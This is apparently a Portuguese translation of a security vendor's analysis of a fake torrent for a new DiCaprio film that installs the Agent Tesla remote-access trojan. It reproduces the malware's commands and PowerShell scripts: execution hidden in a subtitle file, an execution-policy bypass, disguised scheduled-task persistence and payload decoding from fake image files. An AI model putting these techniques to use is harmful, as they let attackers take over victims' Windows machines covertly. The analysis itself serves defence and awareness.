Depois de notar um aumento nas detecções envolvendo o que parecia ser um torrent de filme para Uma batalha após a outraOs pesquisadores do Bitdefender iniciaram uma investigação e descobriram que se tratava de uma cadeia de infecção complexa.
O filme, o mais recente de Leonardo DiCaprio, ganhou rapidamente notoriedade, tornando-se uma isca atraente para cibercriminosos que buscam infectar o maior número possível de dispositivos.
As pessoas costumam pesquisar os filmes mais recentes na Internet, na esperança de encontrar uma cópia de um novo lançamento que acabou de começar a ser exibido nos cinemas ou que está disponível apenas por meio de streaming pay-per-view. E como os usuários procuram entretenimento, a possibilidade de infecção ao baixar um filme pode não passar pela cabeça deles.
No entanto, o que parece ser um simples download pode rapidamente se transformar em algo muito mais perigoso. Em vez do arquivo de vídeo esperado, os usuários baixam, sem saber, uma compilação de scripts do PowerShell e arquivos de imagem que se transformam em um agente de comando e controle (C2) residente na memória, também conhecido como trojan (RAT – Trojan de acesso remoto) sob o nome de Agente Tesla.
Esse tipo de malware foi projetado com um único propósito: fornecer aos invasores acesso irrestrito ao computador Windows da vítima. Depois de conseguirem uma posição segura, os criminosos podem acessar o computador remotamente e roubar informações financeiras e pessoais ou usar o dispositivo para lançar ataques adicionais.
A tendência de incorporar malware em torrents e arquivos multimídia falsos que pretendem oferecer filmes e programas de TV não é nova, mas ganhou muito força no último ano.
Por exemplo, Mission: Impossible – The Final Reckoning foi usado para espalhar o Lumma Stealer, que tem como alvo senhas, cookies, carteiras criptografadas, credenciais de ferramentas de desktop remoto e muito mais.
O malware Agente Tesla neste lançamento de filme falso tem sido usado há anos em muitas campanhas, incluindo phishing por e-mail e registro de vacinação COVID-19.
Esta investigação documenta cada camada deste novo ataque e mostra como os componentes funcionam em conjunto para apoiar os seus esforços para evitar a detecção.
Principais descobertas
- A notoriedade do novo filme de Leonardo DiCaprio, Uma batalha após a outraestá sendo usado para implantar malware nas máquinas Windows de usuários desavisados.
- O Agente Tesla RAT em si não é novo, mas a implantação de métodos de ataque consecutivos aproveitando o PowerShell e outras ferramentas LOTL (Living Off the Land) é altamente interessante.
- De acordo com nossos insights, esse tipo específico de ataque foi usado apenas neste download de torrent.
- A execução da carga útil é feita inteiramente na memória.
- O ataque demonstra o uso de scripts em vários estágios, técnicas avançadas de ofuscação e execução sem arquivo para evitar a detecção e se tornar persistente.
- O objetivo é transformar o PC com Windows em um agente zumbi, pronto para ser usado a qualquer momento por invasores em outras campanhas ou para implantar malware ainda mais.
- O ataque é direcionado a novatos que não costumam baixar conteúdo pirata ou não entendem os perigos dos torrents.
Contexto
A infecção começa quando um usuário baixa um torrent que parece conter o Uma batalha após a outra filme. Dentro do conteúdo baixado, o usuário encontrará um arquivo de atalho chamado simplesmente CD.lnk que indica que ele está lá para iniciar o filme.
Clicar nesse arquivo, no entanto, aciona uma cadeia de comando oculta que executa uma série de scripts maliciosos enterrados no arquivo de legenda Part2.subtitles.srt.
O invasor usa vários utilitários legítimos do Windows (CMD, PowerShell e Agendador de tarefas) para descompactar várias camadas de dados criptografados.
A cadeia de infecção
- O falso lançador de filmes
Quando o usuário abre o CD.lnk, ele executa o seguinte comando:
WindowsSystem32cmd.exe /c type Part2.subtitles.srt | more | findstr /n "^" | findstr "100: 101: 102: 103:" | for /f "tokens=1,* delims=:" %a in ('more') do cmd /c %b
Resumindo, este comando se traduz em ler Part2.subtitles.srt, extrair as linhas 100–103 e executá-las usando cmd.exe e powershell.exe.
Surpreendentemente, o arquivo .srt contém legendas reais, mas as linhas 100 a 103 contêm código em lote que inicia o ataque.
- Código oculto dentro das legendas
Nas linhas especificadas, o arquivo de legenda executa este script em lote:
@echo off
cd /d "%~dp0"
powershell -windowstyle hidden -nop -ep Bypass -c "$s=5005;$e=152;$f=('P'+(char)97+'rt'+(1+1)+'.subtitles.srt');(gc $f)|select -Skip $s -First $e|powershell -windowstyle hidden -nop -ep Bypass -f -"
Na verdade, este comando do PowerShell abre outro arquivo chamado Part2.subtitles.srt, pula para a linha 5005, lê 152 linhas e as executa, o que revela o próximo estágio.
- Descriptografando cargas incorporadas
O código do PowerShell analisa blocos de dados criptografados do mesmo arquivo de legenda (linhas 6034, 7216 e 7419). O script usa descriptografia AES e grava vários scripts do PowerShell na seguinte pasta:
C:UsersAppDataLocalMicrosoftDiagnostics

O resultado: cinco novos scripts do PowerShell, cada um responsável por um estágio do ataque.
- Script 1: extração de arquivo
O primeiro script extrai o conteúdo de um arquivo chamado “One Battle After Another.m2ts”, um arquivo de vídeo falso que na verdade é um arquivo (é também o maior arquivo).
Dependendo das ferramentas disponíveis, utiliza Expand-Archive, WinRAR, 7-Zip ou Bandizip, se encontrado:
$arc=".One Battle After Another.m2ts"; $out=".";
if($arc -like '*.zip' -and (Get-Command Expand-Archive -Ea 0)){Expand-Archive $arc $out -Force}
elseif($arc -like '*.zip'){($s=New-Object -Com Shell.Application).Namespace($out).CopyHere($s.Namespace($arc).Items(),16)}
elseif(Test-Path "C:Program FilesWinRARWinRAR.exe"){& "C:Program FilesWinRARWinRAR.exe" x -ibck -inul -o+ $arc $out}
elseif(Test-Path "C:Program Files7-Zip7z.exe"){& "C:Program Files7-Zip7z.exe" x $arc -o"$out" -y}
elseif(Test-Path "C:Program FilesBandizipBandizip.exe"){& "C:Program FilesBandizipBandizip.exe" x $arc $out -y}
else{"No extractor found"}
O script tem apenas uma função – descompactar o arquivo falso para uso posterior.
- Script 2: criação de tarefa agendada
O objetivo do segundo script é estabelecer persistência por meio do Agendador de Tarefas. Ele cria uma tarefa chamada RealtekDiagnostics (descrita como “Ajudante de Áudio” para fazer com que ele se misture caso o usuário procure algo fora do lugar), que executa um arquivo em lote chamado RealtekCodec.bat.
$C = "$env:LOCALAPPDATAPackagesMicrosoft.WindowsSoundDiagnosticsCache"
$T = "RealtekDiagnostics"
$B = "$CRealtekCodec.bat"
$S = New-Object -ComObject Schedule.Service
$S.Connect()
$F = $S.GetFolder("")
$D = $S.NewTask(0)
$D.RegistrationInfo.Description = "Audio Helper"
$A = $D.Actions.Create(0)
$A.Path = "cmd.exe"
$A.Arguments = (string)::Format('/c start /min "" "{0}"', $B)
$F.RegisterTaskDefinition($T, $D, 6, $null, $null, 3, $null)
A tarefa está oculta e é executada na conta do usuário atual. Além disso, a tarefa é acionada um minuto após a criação ou no logon.
- Script 3: decodificando dados ocultos de “photo.jpg”
O terceiro script lida com Photo.jpg, uma imagem falsa contendo dados binários codificados. Ele lê e decodifica byte por byte:
$Deal = ".Photo.jpg"
$Exit = "$env:LOCALAPPDATAPackagesMicrosoft.WindowsSoundDiagnosticsCache"
(byte())$blob = (IO.File)::ReadAllBytes($Deal)
$pos = 0
$enc = (System.Text.Encoding)::UTF8
while ($pos -lt $blob.Length) {
if ($pos + 4 -gt $blob.Length) { break }
$nameLen = (BitConverter)::ToInt32($blob, $pos)
$pos += 4
if ($pos + $nameLen -gt $blob.Length) { break }
$filename = $enc.GetString($blob($pos..($pos + $nameLen - 1)))
$pos += $nameLen
if ($pos + 4 -gt $blob.Length) { break }
$dataLen = (BitConverter)::ToInt32($blob, $pos)
$pos += 4
if ($pos + $dataLen -gt $blob.Length) { break }
$data = $blob($pos..($pos + $dataLen - 1))
$pos += $dataLen
for ($i = 0; $i -lt $data.Length; $i++) {
$data($i) = ($data($i) - 3) -band 0xFF
}
$outPath = Join-Path $Exit $filename
(IO.Directory)::CreateDirectory((Split-Path $outPath)) | Out-Null
(IO.File)::WriteAllBytes($outPath, $data)
Write-Host "(+) Restored: $filename"
}
Cada arquivo decodificado é enviado para a pasta Windows Sound Diagnostics Cache.
- Script 4: configuração da pasta de cache
O quarto script foi projetado para garantir que a pasta usada para cargas posteriormente exista:
$Cache = "$env:LOCALAPPDATAPackagesMicrosoft.WindowsSoundDiagnosticsCache"
if (-not (Test-Path $Cache)) {
New-Item -Path $Cache -ItemType Directory -Force | Out-Null
}
- Script 5: descompactando “cover.jpg”
O quinto script do PowerShell também é um dos mais interessantes. Na verdade, ele extrai um segundo arquivo disfarçado, falsamente denominado Cover.jpg, que é protegido por uma “senha poderosa”. A senha é “1”.
Se a pasta Cache estiver vazia, descompacte o arquivo usando WinRAR, 7-Zip ou Bandizip:
$arc1=".Cover.jpg"; $pw="1"
$out="$env:LOCALAPPDATAPackagesMicrosoft.WindowsSoundDiagnosticsCache"
if (!(Test-Path $out)) {New-Item $out -ItemType Directory -Force | Out-Null}
if ((Get-ChildItem $out -File -Recurse -ErrorAction SilentlyContinue).Count -eq 0) {
if (Test-Path "C:Program FilesWinRARWinRAR.exe") {
Start-Process -FilePath "C:Program FilesWinRARWinRAR.exe" -ArgumentList "x -ibck -inul -o+ -p$pw -ep1 -y `"$arc1`" `"$out`"" -Wait -WindowStyle Hidden
} elseif (Test-Path "C:Program Files7-Zip7z.exe") {
Start-Process -FilePath "C:Program Files7-Zip7z.exe" -ArgumentList "x -p$pw `"$arc1`" -o' "$out`" -y" -Wait -WindowStyle Hidden
} elseif (Test-Path "C:Program FilesBandizipBandizip.exe") {
Start-Process -FilePath "C:Program FilesBandizipBandizip.exe" -ArgumentList "x `"$arc1`" `"$out`" -p:$pw -y" -Wait -WindowStyle Hidden
} else {
"No extractor found"
}
} else {
"Archive already extracted"
}
Na verdade, essa extração consiste em vários arquivos:
- {ABBF9F3A-4EE4-1C17-AF33-C637E37CA0D9}.1.ver0x0200040000100002.db
- {AFBF9F1A-1EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F1A-2EE2-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F1A-3EE3-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F1A-4EE4-1C17-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db
- {AFBF9F1A-4EE4-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F2A-4EE4-4C27-AF34-C647E37CA0D9}.1.ver0x0000300002000403.db
- {AFBF9F3A-4EE4-1C17-AF32-C647E37CA0D9}.1.ver0x0000040000000002.db
- {AFBF97F1A-4EE4-1a17-AF34-C647E37CA0D9}.1.ver0x0001000000000002.db
- {AFBF97F1A-4EE4-1a17-AF34-C647E37CA0D9}.1.ver0x0343400000000002.db
- AudioTask.xml
- parte1.txt
- parte2.txt
- Parte 3. Resolução
- parte3.txt
- RealtekAudioService.db
- RealtekAudioService.go
- RealtekAudioSyncHelper.bat
- RealtekCodec.bat
- RealtekDriverInstall.ps1
- RealtekUpdateDriver.ps1
- Realtekcodec.bat e realtekdriverinstall.ps1
A tarefa agendada executa RealtekCodec.bat, que então executa “RealtekDriverInstall.ps1”.
O script RealtekDriverInstall.ps1 executa várias ações importantes:
- Verifica se o Windows Defender está ativo.
- Tenta instalar a linguagem de programação Go.
- Compila RealtekAudioService.
- Configura a persistência através da tarefa agendada pré-existente.
O executável compilado serve como o carregador de próximo estágio para a carga principal, o Agente Tesla malware.
- Execução em tempo de execução via “part3.resolution”
Depois que tudo estiver no lugar, o script RealtekAudioSyncHelper.bat é executado e lê a Parte 3.Resolução.
Na linha 1014, um comando do PowerShell concatena e decodifica três arquivos de texto (part1.txt, part2.txt, part3.txt), o que fornece uma carga que é executada diretamente na memória. Nenhum arquivo é gravado no disco neste estágio.
- Comportamento final da carga útil
O binário decodificado é executado inteiramente na memória e contém todas as bibliotecas e funções necessárias para estabelecer uma conexão C2 (Comando e Controle).
A pesquisa confirma suas rotinas de comunicação, mas não identifica o destino do servidor remoto, pois não foi tentada nenhuma conexão externa.
Conclusão
É impossível estimar quantas pessoas baixaram os arquivos, mas vimos que o suposto filme contava com milhares de seeders e leechers. Quem tivesse alguma solução de segurança Bitdefender estaria protegido desde o início.
Nos últimos anos, o número de arquivos torrent infectados que prometem os programas de TV e filmes mais recentes disparou. Está ficando claro que os invasores descobriram um vetor de ataque viável. E parece que o Agente Tesla está lentamente se tornando uma das ferramentas favoritas do invasor.
Esses problemas só vão aumentar, pelo menos até que os usuários percebam que as ameaças podem se esconder em arquivos multimídia.
Deseja saber mais sobre Segurança Digital & Antivírus Clique Aqui!
